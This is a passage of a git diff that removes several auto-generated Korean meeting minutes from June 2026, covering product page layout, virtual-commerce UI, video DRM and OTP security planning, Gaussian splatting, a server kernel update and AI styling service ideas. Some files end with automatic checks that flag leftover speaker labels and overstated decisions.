-| 참석자 3/6 | 하이마트 문의 | 제품 제외 및 신규 모델 노출 관련하여 하이마트 담당자에게 확인 근거: "제가 지금 하이마트 담당자라고 한번 그냥 비기를 해볼게요. ... 물어볼게요." | 확인 필요 | 확인 필요 | 진행미정 |
-| 참석자 10 | 레이아웃 재배치 작업 | 드라이기 제외에 따른 청소기 위치 조정 및 랜더링 작업 수행 근거: "드라이기 제외 후 레이아웃 재배치 및 랜더링 작업" | 수정된 페이지 | 확인 필요 | 기한미정 |
-| 참석자 1 | 시스템 구조 및 버튼 분리 검토 | 시스템 구조상 버튼/세트 분리 가능 여부 기술적 검토 근거: "이번에 한번 확인해 볼게요. 이제 시스템이 그렇게 돼 있는지" | 확인 필요 | 확인/확인 필요 | 진행미정 |
-| 참석자 1 | UI 수정 히스토리 파악 | 이전 UI 수정 이력 및 히스토리 추적 근거: "그 히스토리로 한번 찾아봐야 될 것 같아" | 확인 필요 | 확인 필요 | 기한미정 |
-| 참석자 6 | 드라이어 문구 문의 | 드라이어 관련 문구 수정 건에 대해 담당자에게 문의 진행 근거: "드라이어는 문의를 하고 그다음에 나머지 부분들은 문구하고" | 확인 필요 | 확인 필요 | 기한미정 |
-| 참석자 1 | 파노라마 슬라이스 테스트 | 파노라마 슬라이스 프로그램의 적용 가능 여부 검토 근거: "그거는 한번 테스트를 좀 해볼게요." | 확인 필요 | 확인 필요 | 기한미정 |
-| 참석자 6 | 제품별 수정 요청 취합 | 냉장고, 냉동고 등 제품별 수정 사항을 모아서 확인 근거: "냉장고 담당 냉동고 담당 누구 누구... 취합해서 봐도 돼." | 확인 필요 | 확인 필요 | 기한미정 |
-
-## 5. 오픈 이슈
-- AI 답변 정확도를 위한 제품 ID와 파일명 일치 여부 및 기술적 구현 방식 (Chroma DB 활용 등)
-- 제품 명칭 수정 시 영문/한자 등 다국어 영역의 작업 범위 확정
-- 드라이기 제외 시 레이아웃 재배치에 따른 추가 작업 공정 발생 가능성
-
-## 6. 리스크 및 검토 사항
-| 리스크 | 영향 | 대응 방안 |
-| --- | --- | --- |
-| 모델명 변경 시 서버/클라이언트 수정 | 모델명 변경 시 서버 패치 및 클라이언트 코드 수정이 동반되어야 함 | 클라이언트 호출 방식을 제품 키 기준으로 일치시켜 패치 최소화 |
-| 서버 업데이트 시 타 서비스 장애 | 서버 업데이트 시 연결된 다른 서비스(스포트 어닛 등)에 장애 발생 가능성 있음 | 주의 깊은 업데이트 프로세스 필요 |
-| 작업량 과다로 인한 일정 차질 | 수정 작업량이 많아 다음 주 수요일 완료가 불가능할 것으로 예상됨 | 우선순위 설정 및 범위 조정 검토 |
-| 시스템 구조적 제약 | 개별 요소를 단독으로 변경할 수 없어 세트로 크기가 조절되는 구조임 | 기술적 구현 가능성 사전 확인 필요 |
-| 이미지 해상도 차이 | 이미지 적용 시 해상도 차이로 인해 UI가 깨지거나 달라질 우려 있음 | 적정 해상도 가이드 준수 및 테스트 필요 |
-
-## 7. 논의 사항
-**[AI 답변 시스템 운영 방식]**
-- 현재 구글 파일 스토리지 기반 인베딩 처리 중
-- AI 답변 정확도를 위해 PDF 파일명, 제품 ID, 클라이언트 호출 정보가 모두 일치해야 함을 강조
-
-**[제품 상세 페이지 구성 및 디자인]**
-- 상세 내용을 한 페이지에 담기 어려워 페이지 분리 구성 계획
-- 기존 이미지를 활용하기보다 새로운 디자인의 페이지를 생성하는 방안 논의
-- 드라이기 모델 단종 처리 시 '상품 준비 중' 표시로 클릭을 제한하는 효율적 방안 검토
-
-**[UI/UX 수정 및 기술적 구현]**
-- 버튼 표시 방식(줄 긋기 등) 변경에 대한 기술적 구현 가능성 및 업무 범위 확대 우려
-- 제품 명칭 수정 시 다국어(영문, 한자 등) 영역까지의 작업 부담 논의
-- 파노라마 이미지 슬라이스 구현을 위한 개발팀의 기술적 지원 여부 확인 필요

00_Raw/회의록 s 2026-06-22.md

@@ -1,55 +0,0 @@
-# [회의록] 신규 시스템 및 UI/UX 요소 중간 점검 회의
-
-## 1. 회의 개요
-- **일시**: 2026년 6월 22일 | 13:30 (메타데이터 기준)
-- **참석자**: 참석자 1, 참석자 2, 참석자 3, 참석자 4, 참석자 5, 참석자 6, 참석자 7, 참석자 8, 참석자 9, 참석자 10, 김원일 PD, 오경득, 김지수, 송병준, 김상엽, 전효주, 오상무, 김태현, 김준호, 한예성
-- **회의 목적**: 신규 시스템(모자 탈착, 응원 도구 등) 및 UI/UX 요소에 대한 중간 점검과 디자인 디테일 수정 방안 논의
-
-## 2. 주요 결과 (Executive Summary)
-- 제품 리스트 클릭 이벤트 제거 결정
-- 모자 벗기 기능 구현을 위한 버튼 추가 또는 시스템 수정 확정
-- 모델 헤어스타일 변경 및 캐릭터 높이 조정을 통한 시각적 완성도 개선 추진
-- 이머시브 커머스 구현을 위한 기술적 가능성(모델 교체, 체형 선택 등) 검토
-
-## 3. 결정 사항
-- **제품 리스트 클릭 이벤트 제거** — 근거: "클릭을 굳이 이건 없애버리는 게 낫지 않아요? 네 없애겠습니다."
-- **모자 벗기 기능 관련 시스템 수정(또는 버튼 추가)** — 근거: "사용자가 인식하기 쉽도록 '모자 벗기' 혹은 '캡 제거(Cap Off)'와 같은 기능을 추가하거나 시스템을 수정하기로 함" (참석자 1, 참석자 3)
-- **모자 관련 헤어스타일 변경 결과 반영 방식** — 근거: "헤어스타일을 변경하거나 별도의 탭/버튼을 통해 수정된 결과물을 확인한 후 최종 반영하기로 함" (참석자 3, 참석자 1)
-
-## 4. 액션 아이템
-| 담당 | 작업 내용 | 작업 상세 | 산출물 | 기한 | 상태 |
-| --- | --- | --- | --- | --- | --- |
-| [미지정-확인필요] | 모자 착용 시 머리 스타일 정돈 및 레이아웃 조정 | 모자 착용 시 부자연스러운 머리 부분을 정리하고 UI 레이아웃을 재조정함. 근거: "머리가 정돈이 안 되니까... 레이아웃을 조정하는 거예요." | 수정된 모델링/UI | 확인 필요 | 기한미정 |
-| [미지정-확인필요] | 응원 도구 아이콘 위치 및 시스템 추가 작업 | 응원 도구가 직관적으로 보이도록 위치를 조정하고 관련 이동 시스템 작업을 수행함. 근거: "응원 도구 같은 경우에는... 시스템을 추가해 놨습니다." | 업데이트된 이동 시스템 | 확인 필요 | 기한미정 |
-| [미지정-확인필요] | 모자 벗기 기능 구현 및 버튼 생성 | 사용자가 쉽게 인식할 수 있도록 '모자 벗기' 또는 'Cap Off' 기능을 UI에 추가함. 근거: "모자 벗기 버튼을 하나 저기 따로 넣어놓는 게 좋을 것 같습니다." | UI 업데이트 | 확인 필요 | 기한미정 |
-| [미지정-확인필요] | 모델 헤어스타일 및 캐릭터 높이 조정 | 모델의 완성도를 위해 단정한 머리 스타일로 변경하고 어색한 키/높이를 조정함. 근거: "모델의 헤어스타일 및 캐릭터 높이 조정 작업" (참석자 3) | 수정된 모델링/UI | 확인 필요 | 기한미정 |
-| [미지정-확인필요] | 최단 시간 구현 가능 기술 조사 | 이머시브 커머스 구현을 위해 5~10초 내로 처리가 가능한 효율적인 툴이 있는지 조사함. 근거: "5초 10초 내로 할 수 있는 그런 툴이 있는지 이거 한번 찾아보는 게" | 조사 보고서(또는 리스트) | 확인 필요 | 진행미정 |
-| [미지정-확인필요] | 모자 배치 및 헤어스타일 시각 효과 테스트 | 변경된 헤어스타일과 위치 조정에 따른 미관상 효과를 직접 확인함. 근거: "한번 이렇게 머리 정리해보고 이쁜가를 보시고요." | 테스트 결과물 | 확인 필요 | 기한미정 |
-
-## 5. 오픈 이슈
-- 제품 리스트 노출 시 모바일 환경을 고려한 수량 축소(2개) 여부 검토 (참석자 7 제안)
-- 자이언츠 캐릭터 사용 관련 라이선스 컨펌 및 고객 소통 필요성 (참석자 7 언급)
-- 이미지 생성 프롬프트를 활용한 얼굴 모델 유지 기술의 실제 적용 가능 여부 (참석자 3 문의)
-
-## 6. 리스크 및 검토 사항
-| 리스크 | 영향 | 대응 방안 |
-| --- | --- | --- |
-| 모자 탈착 기능 구현 시 재제작 부담 | 의상마다 벗은 모델 개수만큼 제작 공수가 늘어남 | [내용 확인 필요] |
-| 가상 공간 탐험 중 방향 상실 위험 | 화면 회전으로 인해 사용자가 지정된 지점을 잃을 수 있음 | [내용 확인 필요] |
-| 사진 개수 증가에 따른 로딩 속도 저하 | 데이터 용량 증대로 인한 시스템 무거워짐 현상 발생 | [내용 확인 필요] |
-| 모델 교체 시 임원진의 부정적 피드백 우려 | 최종 결과물 품질에 대한 의사결정권자의 평가 리스크 | [내용 확인 필요] |
-
-## 7. 논의 사항
-**[UI/UX 및 시스템 개선]**
-- 응원 도구 아이콘을 더 직관적으로 이해할 수 있도록 배치와 디자인 개선이 필요함. (참석자 3)
-- 제품 리스트 노출 시 모바일 환경에 맞춰 개수를 축소하는 방안 논의. (참석*7)
-- 자이로 센서를 이용해 핸드폰 움직임에 따라 화면이 회전하는 기능 적용 계획. (참석자 1)
-
-**[모델 및 캐릭터 디테일]**
-- 모자를 착용했을 때 머리 부분이 부자연스럽게 보이는 문제 해결 필요. (참석자 3)
-- 모델의 키가 너무 커 보이거나 비율이 어색한 부분에 대한 조정 논의. (참석자 3)
-- 인종(서양인, 흑인 등) 변화 시 피부 톤과 얼굴의 일치 여부에 대한 기술적 문제 검토. (참석자 1)
-
-**[운영 및 데이터 관리]**
-- 내부적으로 사진 개수를 최대 6개로 제한하여 제안함. (참석자 1)
-- 체형 선택 옵션(마른, 표준, 통통한 체형) 구성에 대한 논의. (참석자 3)

00_Raw/회의록 t 2026-06-22.md

@@ -1,58 +0,0 @@
-# [위버스 협업 영상 보안 및 운영 구조 설계] · 기술 검토 회의 — 보안 강화 및 인프라 구축 방안
-
-## 회의 개요
-- **일시**: 2026년 06월 22일 | 17:00
-- **장소**: 확인 불가
-- **회의유형**: 기술 검토 및 기획 논의
-- **녹취 길이**: 36분 48초
-- **작성일**: 2026-06-22
-- **참석자**: 넥서스개발팀(김상엽, 김도건), 개발PM(김성환, 한예성), 기획/검토(참석자 1), 기술문서 담당(참석자 3), 위버스 측 파트너(참석자 4), 보안/운영(참석자 7), 개발/인프라(참석자 2)
-
-## 핵심 요약
-위버스와의 협업을 위한 영상 콘텐츠 보안(DRM, OTP) 강화 방안과 효율적인 운영 툴 구축 및 인프라 구조를 논의하였다. 영상 업로드 및 인코딩은 직접 수행하되 위버스 운영 툴을 통해 CDN 경로 정보를 관리하는 방식으로 합의하였으며, 보안 솔루션 도입을 위해 라인 컴퍼니와 스틸리언 두 업체에 대한 PoC 결과 및 비용/효율성 검토를 완료하였다. 향후 보안 솔루션 관련 일정 수립과 업체별 차이점 정리를 통해 최종 도입안을 결정할 예정이다.
-
-## 결정 사항
-- [영상 인코딩 및 업로드 업무는 직접 수행하되, 위버스가 제공하는 운영 툴을 통해 CDN 경로 정보를 관리하기로 함] — [08:17]
-- [보안 솔루션 도입을 위한 두 업체(라인 컴퍼니, 스틸리언)에 대한 PoC 결과 및 비용/운영 효율성 검토 완료] — [30:42]
-
-## 액션 아이템
-| 담당 | 액션 | 기한 | 상태 | 출처 |
-| --- | --- | --- | --- | --- |
-| 넥서스개발팀 | 위버스 측에 운영 툴 내 외부 계정 처리 및 경로 제공 관련 이슈 전달 | — | 기한미정 | [10:10] |
-| 넥서스개발팀 | 기술 문서 내 AS128 클리어 키에 대한 설명 보완 | — | 기한미정 | [13:24] |
-| 기획/검토 | 보안 솔루션 관련 내용 정리 및 향후 일정 수립 | — | 진행미정 | [30:13] |
-| 기획/검토 | 업체별 차이점(비용, 운영 효율성 등) 정리 요청 | — | 확정 | [31:04] |
-
-## 오픈 이슈 / 다음 회의로
-- 보안 솔루션 도입을 위한 최종 업체 선정 및 일정 수립 필요 — [30:13]
-- AOS 환경에서의 소스 코드 디컴파일 방지를 위한 난독화 적용 수준 검토 — [35:48]
-
-## 논의 메모
-**[영상 보안 및 인증 방식]**
-- 기술 문서에 DRM 선택 이유와 기술 문서 정리 포함 예정 — [00:20]
-- 보안 강화를 위해 OTP 기반 일회성 인증 방식 도입 결정 — [01:17]
-- iOS/Android 대응을 위해 Widevine L3 및 HLS/AES-128 클리어 키 방식 사용 — [06:18]
-- 유저가 영상을 클릭하면 위버스 서버에서 OTP를 생성하고 딥링크로 전달받는 구조 — [25:34]
-
-**[운영 툴 및 인프라 구조]**
-- 영상 업로드 주체에 대한 두 가지 안(위버스 운영 툴 활용 vs 직접 CDN 업로드) 논의 — [23:33]
-- 운영 툴 접속 보안을 위해 특정 IP로만 제한하는 방안 검토 — [09:55]
-- 2안(직접 업로드 방식)은 보안 및 권한 문제로 채택 어려움 확인 — [10:38]
-
-**[보안 솔루션 및 비용 비교]**
-- 라인 컴퍼니 솔루션: 연 2,700만 원 (50만 디바이스 초과 시 추가 비용 발생) — [32:09]
-- 스틸리언 솔루션: 연 1,900만 원 — [32:09]
-
-## 리스크 (선택)
-| 리스크 | 영향 | 대응 방안 | 출처 |
-| --- | --- | --- | --- |
-| OTP 인증 토큰 유효 시간 과다 설정 | 해킹 및 토큰 공유 위험 발생 | 유효 시간을 1시간 이내로 설정 권장 | [02:59] |
-| iOS 환경의 클리어 키 메모리 로드 이슈 | 하드웨어 레벨 보안 적용 어려움 및 보안 수준 저하 | 메모리 해킹 방지를 위한 보안 툴 적용 검토 | [14:17] |
-| 스틸리언 솔루션 자체 난독화 적용 | 개발자 크래시 발생 가능성 | — | [32:09] |
-| 화면 캡처 방지 기능 부재 | 영상 녹화로 인한 저작권 침해 위험 | AOS/iOS 플랫폼별 보안 대책 필요 | [34:56] |
-
----
-## ⚠️ 검증 결과 (자동)
-검증 결과, 아래와 같은 결함이 발견되었습니다.
-
-❗ [근거|화자번호|과확정|폐기가설|중복] "참석자" 항목에 STT 화자번호 잔존 — 회의록 개요 및 참석자 명단에 "참석자 1", "참석자 3" 등 식별되지 않은 화자 번호가 그대로 노출되어 있음.

00_Raw/회의록 u 2026-06-23.md

@@ -1,77 +0,0 @@
-# [플레이 캔버스 및 가우시안 스플래팅 기술 활용 방안] · 기획 논의
-
-## 회의 개요
-- **일시**: 2026년 06월 23일 | 15:00
-- **장소**: 5층 대회의실
-- **회의유형**: 기술 검토 및 비즈니스 모델 논의
-- **녹취 길이**: 74분 25초
-- **작성일**: 2026-06-23
-- **참석자**: 개발/기술팀, 클라이언트팀, 기획/UI팀, 디자인팀, 개발PM, QA/테스트팀, 사업/기획팀
-
-## 핵심 요약
-- 플레이 캔버스 및 가우시안 스플래팅 기술을 활용한 웹 기반 공간 구현 및 최적화 방안 논의
-- 웹 환경에서는 기능 단순화를 통해 가벼운 이벤트 및 뷰어 위주의 접근 방식 채택 합의
-- 3D 가우시안 스플래팅 기술을 활용하여 호텔, 리조트 등 실제 공간을 촬영하고 이를 비즈니스 모델(B2B/B2C)로 연결하는 방안 검토
-- 웹 엔진 최적화를 위해 압축률 조정 및 디졸브 시간 단축 등 로딩 속도 개선 전략 수립
-
-## 주요 논의 / 쟁점
-**[웹 기반 플레이 캔버스 기술 최적화]**
-- 복잡한 UI/UX 포함 시 모바일 디바이스에서의 성능 저하 및 무거워짐 문제 — [01:19]
-- 특정 디바이스(iPhone 등)에서 FPS 기능 구현 시 프레임 저하 이슈 — [03:32]
-- 고사양 기능 포함 시 최적화 및 실행 불가 리스크와 대응책 필요성 — [00:00]
-
-**[가우시안 스플래팅 기술 활용 및 비즈니스 확장]**
-- 실제 공간 촬영(인스타 360 등 사용)을 통한 데이터 추출 및 AI 학습 방식 — [15:54]
-- 촬영 장비(xGrid 등) 비용 발생 및 특정 환경(창문 밖 풍경 등)에서의 스캔 품질 저하 가능성 — [25:21, 27:38]
-- 호텔, 리조트, 모델하우스 등 실질적 활용처 발굴 및 인테리어/가구 브랜드 협업 모델 제안 — [17:59, 37:22]
-- 팝업 스토어와 연계한 온·오프라인 통합 비즈니스 모델 가능성 — [23:10]
-
-**[웹 기반 UI/UX 및 로딩 성능 개선]**
-- 타 플랫폼(Realm 등) 사례 분석을 통한 UI 구조 및 데이터 처리 방식 검토 — [47:36]
-- 360도 파노라마 뷰어 엔진과 스플래터 방식의 효율성 비교 — [52:38]
-- 로딩 체감 속도를 높이기 위한 디졸브 효과 시간 조정 및 압축률 최적화 방안 — [49:36, 59:20]
-- 웹 기반 UI(React) 사용 시 유니티 내부 로직과의 데이터 딜레이 발생 가능성 — [1:02:01]
-
-**[데이터 관리 및 패치 가이드]**
-- 아마존 렐름 데이터 다운로드 용량 파악 및 분할 방식 예상 — [1:10:58, 1:10:45]
-- 사용자에게 신뢰를 줄 수 있는 구체적인 패치 노트 작성 가이드 필요성 — [1:12:38]
-
-## 결정 사항
-- 웹 환경에서 가벼운 이벤트나 뷰어 기능 위주의 접근 방식 채택 — [01:19]
-- 호텔 객실 등을 테스트베드로 활용하여 촬영 기술 및 기능 구현 가능성 검증 — [43:54]
-- 압축률 조절을 통한 용량 감소 및 디졸브 시간 단축으로 로딩 속도 개선 우선순위 설정 — [1:07:22]
-- 차기 패치 작업 일정은 목요일로 진행 — [1:12:35]
-
-## 액션 아이템
-| 담당 | 액션 | 기한 | 상태 | 출처 |
-| --- | --- | --- | --- | --- |
-| 개발/기술팀 | 가우시안 스플래팅 기술 결과물 리포트 및 표 정리본 확인 | — | 진행미정 | [06:22] |
-| 사업/QA | 1차 테스트 결과 기반 최소 사양 수l치 도출 | — | 진행미정 | [40:57] |
-| 기획/개발 | 플레이캔버스 웹 엔진 활용 오브젝트 배치 및 기능 구현 R&D | — | 진행미정 | [37:05] |
-| 개발/팀장 | 최적화 방법론 아이디어 정리하여 다음 미팅 시 공유 | — | 진행미정 | [1:06:27] |
-| 개발 | 최종 아웃풋 빌드 시 압축률 상향 버전 테스트 및 검토 | — | 진행미정 | [1:06:41] |
-| 클라이언트/번역 | 패치 내용을 사업팀에 전달하여 번역 후 보고 준비 | — | 진행미정 | [1:14:10] |
-
-## 오픈 이슈 / 다음 회의로
-- 모바일 및 패드 기기별 최적화 이슈 및 최소 사양 미확정 — [31:29]
-- 아마존 렐름 데이터 총 용량 파악 필요 — [1:11:38]
-- 패치 노트 작성 시 구체적인 내용(로그인 타임아웃 연장 등) 포함 여부 검토 — [1:13:44]
-
-## 리스크 (선택)
-| 리스크 | 영향 | 대응 방안 | 출출 |
-| --- | --- | --- | --- |
-| 고사양 기능(FPS 등) 포함 시 최적화 문제 | 모바일 디바이스 실행 불가 및 무거워짐 | 기능 단순화 및 뷰어 위주의 가벼운 접근 | [00:00] |
-| 공간 스캔 시 장비 성능에 따른 품질 차이 | 고품질 데이터 확보 어려움 | 라이다(LiDAR) 스캔 장비 활용 필요성 인지 | [16:36] |
-| 특정 환경(창문 밖 풍경 등)에서의 스캔 | 스캔 품질 저하 발생 가능 | 파노라마 합성 또는 별도 촬영 후 합성 검토 | [27:38] |
-| 웹 기반 UI의 데이터 딜레이 | 유니티 내부 로직과 사용자 경험 불일치 | — | [1:02:01] |
-| 패치 노트의 피상적 내용 전달 | 사용자에게 성의 없는 인상을 줄 위험 | 구체적인 수정 사항(로그인 타임아웃 등) 포함 | [1:13:19] |
-
----
-## ⚠️ 검증 결과 (자동)
-검증 결과 결함이 발견되었습니다.
-
-- ❗ [근거|화자번호] "참석자 N" 및 "화자 A" 형태의 STT 화자 정보가 회의록 본문에 잔존함 (회의 개요 및 주요 논의 섹션 내 일부 표기 확인)
-- ❗ [과확정] "'차기 패치 작업 일정은 목요일로 진행' — 소스상에서는 '목요일로 하시죠'라는 발언만 있고, 구체적인 날짜나 확정된 프로세스가 명시되지 않은 상태에서 단정적 표현 사용함" (단, 소스 내 합의 문구가 있으나 결정 사항으로 격상 시 주의 필요)
-- ❗ [중복] "최적화 방법론 아이디어 정리" 및 "압축률 상향 버전 테스트" 등 액션 아이템 중 일부 내용이 기술 검토 논의와 중복되거나 유사한 맥락을 가짐 (단, 본 회의록 내에서는 '액션 아이템' 리스트 자체의 명백한 행 중복은 확인되지 않으나, 소스 내 발언과 결정 사항 간의 경계가 모호함)
-
-*(참고: 제공된 회의록은 전체적으로 근거 소스의 내용을 충실히 반영하고 있으나, 화자 번호 표기 규칙 위반 및 일부 결정 사항의 확정적 어조에 대한 검토가 필요합니다.)*

00_Raw/회의록 v 2026-06-24.md

@@ -1,62 +0,0 @@
-# [에코 시스템 및 보안 이슈] 정기 점검 — OS 커널 업데이트 및 환불 관련 계정 처리 논의
-
-## 회의 개요
-- **일시**: 2026년 06월 24일 | 14:00
-- **장소**: 5층 대회의실
-- **회의유형**: 정기 점검 및 이슈 논의
-- **녹취 길이**: 37분 49초
-- **작성일**: 2026-06-24
-- **참석자**: 개발실(김원일 PD), 넥서스개발팀(김상엽 팀장), PM(김성환, 한예성), 사업실(정현욱)
-
-## 핵심 요약
-- 에코 시스템 보안 이슈 대응을 위한 OS 커널 업데이트 및 서버 재시작 계획 논의
-- 롤업 시간대(08:00~09:00)를 피하여 작업 진행하되, 메타버스 영향권인 07:00~11:00 사이는 제외 결정
-- 7월 10일 환불 처리 이후 캐릭터 계정 연결 해제 및 명단 확정 예정
-- NFT 발행 관련 작업은 현재 시점에서 추가 진행하지 않기로 함
-
-## 주요 논의 / 쟁점
-**[에코 시스템 보안 및 OS 커널 업데이트]**
-- OS 커널 이슈로 인한 웹 포털 DB 및 회원 정보 영향도 확인 필요 — [01:25]
-- 커널 업데이트 시 시스템 변경 가능성 및 기존 서비스(웹 포털 등)와의 연동 안정성 검토 — [03:53]
-- 롤업(Rollup) 작업 시간과 업데이트 작업 간의 충돌 방지 방안 — [02:33]
-- 서버 재시작 시 메타버스 서비스 및 웹 포털 페이지 영향 범위 — [05:06]
-- OS 업데이트에 따른 대응 비용 및 리소스 투입 규모 — [07:01]
-
-**[환불 및 계정 처리]**
-- 7월 10일 환불 프로세스 이후 캐릭터 계정 연결 해제 시점 — [10:16]
-- 환불 완료 후 발생할 수 있는 사용자 민원(접속 불가 등) 리스크 관리 — [10:34]
-
-**[NFT 발행 및 QA]**
-- 기존 홀드된 데이터 기반 NFT 발행 작업의 지속 여부 — [11:26]
-- 인수인계된 코드 분석 결과에 따른 재배포 및 QA 신청 필요성 — [11:59]
-
-## 결정 사항
-- OS 커널 업데이트 작업 시 07:00~11:00 시간대 제외하고 진행 — [05:08]
-- NFT 발행 관련 추가 작업은 진행하지 않음(폐기 예정) — [12:34]
-- 캐릭터 계정 연결 해제는 7월 10일 직후로 결정 — [12:59]
-
-## 액션 아이템
-| 담당 | 액션 | 기한 | 상태 | 출처 |
-| --- | --- | --- | --- | --- |
-| 넥서스개발팀 | 환불 대상자 계정 ID 최종 확정본 전달 | 오늘 중 | 확정 | [13:20] |
-| 개발PM | 하이버 및 기술 미팅 일정 조율 | — | 진행미정 | [14:17] |
-- 넥서스개발팀 | 주간 보고 회의 시 보안 이슈 관련 내용 공유 준비 | 차주 주간회의 | 기한미정 | [04:34] |
-
-## 오픈 이슈 / 다음 회의로
-- 에코 시스템 유지 기간 종료 및 서비스 정리(종료) 시점 논의 — [09:20]
-- 환불 프로세스 완료 후 계정 연결 해제 작업의 구체적 시점 (7월 말로 진행할지 여부) — [11:00]
-- 하이버 기술 미팅 일정 확정 — [14:17]
-
-## 리스크
-| 리스크 | 영향 | 대응 방안 | 출처 |
-| --- | --- | --- | --- |
-| OS 커널 업데이트 시 기존 기능 동작 불능 가능성 | 서비스 장애 및 웹 포털 DB 접근 문제 발생 | 롤업 시간 제외 및 사전 테스트(대구 환경) 완료 확인 | [07:10] |
-| 핵심 개발 인력 퇴사로 인한 운영 안정성 저하 | 시스템 장애 대응 및 업데이트 신뢰도 하락 | 주간 보고를 통한 이슈 공유 및 지속적 모니터링 | [03:15] |
-
----
-## ⚠️ 검증 결과 (자동)
-검증 결과 결함이 발견되었습니다.
-
-❗ [근거|화자번호|과확정|폐기가설|중복] "NFT 발행 관련 추가 작업은 진행하지 않음(폐기 예정)" — 소스에서는 NFT 발행 여부에 대해 '홀드할지 폐기할지' 논의 중이었으나, 회의록에는 결정 사항으로 확정되어 기재됨. (결정 과확정 및 폐기가설 격상)
-
-❗ [근거|화자번호|과확정|폐기가설|중복] "하이버 기술 미팅 일정 확정" — 소스에서는 '오늘 따로 미팅을 잡겠다'고만 언급되었으며, 확정된 상태가 아님. (결정 과확정)

00_Raw/회의록 w 2026-06-24.md

@@ -1,68 +0,0 @@
-# [3D 앱 개발 및 AI 서비스 기획] · 기획 논의 — 3D 앱 개발 중단 및 신규 AI 서비스 아이디어 검토
-
-## 회의 개요
-- **일시**: 2026년 06월 24일 | 16:00
-- **장소**: 5층 대표님실
-- **회의유형**: 기획 논의
-- **녹취 길이**: 27분 53초
-- **작성일**: 2026-06-24
-- **참석자**: 넥서스개발팀, 개발PM, 기획팀, 사업팀
-
-## 핵심 요약
-- 3D 앱 개발 공정의 잠정 중단 및 코드 연결성을 고려한 매듭짓기 결정
-- AI 기술(퍼스널 컬러, 스타일링 샵)을 활용한 롯데온/계열사 연동 서비스 아이디어 논의
-- 신규 프로젝트를 위한 기획 업무 집중도 향상 및 개발 마무리 지침 전달
-- 하이마트 드라이기 항목 재배치 관련 운영 방향 검토
-
-## 주요 논의 / 쟁점
-**[3D 앱 개발 공정 관리]**
-- 갤럭시 코팅/필름 간섭 문제로 인한 개발 중단 위기 및 재개 시 코드 연결성 우려 — [00:00]
-- 개발 중단 시, 나중에 다시 재개할 때를 대비하여 명확하게 구분 가능한 지점(코드 분리)까지 작업 완료 필요성 — [01:07]
-
-**[신규 AI 서비스 및 기술 도입]**
-- AI 기반 실시간 의상 조합/스타일링 샵 서비스 구현 가능성 검토 — [04:24]
-- 퍼스널 컬러 분석을 통한 의상 추천 알고리즘 개발 및 롯데온 연동 방안 — [06:33]
-- 외부 API(의상 조합, 얼굴 가상 변형 등) 활용 및 내부 기술(오픈소스 기반 피튜닝) 확보 전략 — [10:07]
-- 서비스 확장을 위한 데이터 확보(크롤링을 통한 색상/텍류 분석) 및 백엔드 연동 이슈 — [14:56]
-
-**[운영 및 사업 확장]**
-- 계열사(롯데온, 호텔 등) 매출 증대를 위한 AI 솔루션 판매 전략 — [10:07]
-- 웹 플랫폼 업체와의 협업 또는 아티스트 굿즈 판매 플랫폼 연동 가능성 — [22:44]
-
-**[하이마트 상품 배치]**
-- 드라이기 항목 제외에 따른 홈페이지 재배치 및 랜더링 작업 필요성 — [26:15]
-
-## 결정 사항
-- 3D 앱 개발은 명확한 코드 분리가 가능한 구간까지 작업을 마무리하고 잠정 중단하기로 함 — [01:07]
-- 현재 진행 중인 웹 스토어 관련 업무에 우선 집중하되, 신규 프로젝트 기획을 병행함 — [11:00]
-- 개발 파트는 기존 작업의 마무리에 집중할 것 — [18:45]
-
-## 액션 아이템
-| 담당 | 액션 | 기한 | 상태 | 출처 |
-| --- | --- | --- | --- | --- |
-| 넥서스개발팀 | 3D 앱 개발 중단 전 코드 분리 가능한 구간 확인 및 작업 완료 — [01:07] | — | 기한미정 | [01:46] |
-| 개발PM | AI 스타일링 관련 API 서비스 업체 조사 및 1차 결과 공유 — [10:07] | — | 진행미정 | [10:07] |
-| 기획팀 | 퍼스널 컬러/의상 추천 서비스 관련 신규 기획안 도출 — [11:00] | — | 진행미정 | [11:00] |
-- | | | | | |
-
-## 오픈 이슈 / 다음 회의로
-- 3D 앱 개발 재개 시 코드 연결 및 기술적 해결 방안 (카이스트 컨택 등) — [24:12]
-- 하이마트 드라이기 항목 재배치 여부 및 랜더링 작업 범위 결정 — [26:15]
-- 신규 AI 서비스의 구체적인 구현 방식(자체 개발 vs 외부 API 활용) — [15:44]
-
-## 리스크
-| 리스크 | 영향 | 대응 방안 | 출처 |
-| --- | --- | --- | --- |
-| 갤럭시 폰 코팅/필름 간섭 현상 발생 | 픽셀이 크게 보이는 등 앱 품질 저하 및 개발 난항 | 코팅 방식 변경 또는 소프트웨어적 구현 방식 검토 — [24:12] | [24:12] |
-
----
-## ⚠️ 검증 결과 (자동)
-검증 결과, 아래와 같은 결함이 발견되었습니다.
-
-❗ [근거|화자번호|과확정|폐기가설|중복] "결정 사항 및 액션 아이템의 수치/내용" — '개발 중단 전 코드 분리 구간 확인' 등의 액션 아이템 내용이 근거 소스의 발언(01:07, 01:46 등)과 일치하나, 결정 사항에 기재된 '웹 스토어 업무 우선 집중' 및 '기획 업무 병행' 등에 대한 구체적인 확정 수치나 실행 계획이 소스 내에서 명확히 합의된 상태라기보다 화자의 제안/지시 단계에 머물러 있음.
-
-❗ [화자번호] "참석자 1, 2, 3..." — 회의록 본문에 STT로 생성된 것으로 추정되는 화자 번호 및 이름이 일부 잔존함. (단, 현재 제공된 회의록 텍스트 자체에는 '참석자' 명단만 있으나, 논의 내용 중 특정 발언의 출처를 나타내는 숫자들이 구조적으로 분리되지 않고 포함되어 있음.)
-
-❗ [과확정] "3D 앱 개발은... 잠정 중단하기로 함" — 소스에서는 "잠정 중단이긴 해요", "애매하게 중단하면... 걱정이어서" 등 향히 결정된 사항이라기보다 향히 발생할 리스크를 방지하기 위한 '방안'을 논의하는 단계임에도, 회의록에는 확정된 결정으로 기재됨.
-
-❗ [폐기가설] "하이마트 드라이기 항목 재배치 관련 운영 방향 검토" — 소스 하단(26:34)에서 "어물쩍 넘어갔다", "앞대가리만 바꿔보자"라며 기존 논의를 사실상 무효화하거나 임시 방편으로 처리하려는 발언이 있었음에도, 회의록에는 '검토' 및 '필요성'이라는 이름으로 리스크/오픈 이슈에 포함되어 있음.

00_Raw/회의록 x 2026-06-29.md

@@ -1,66 +0,0 @@
-# [시시호시 피드백 보강 기획] · 기획 브리핑 및 UI/UX 구조 논의
-
-## 회의 개요
-- **일시**: 2026년 06월 29일 | 15:00
-- **장소**: 확인 불가
-- **회의유형**: 기획 논의
-- **녹취 길이**: 32분 40초
-- **작성일**: 2026.06.29
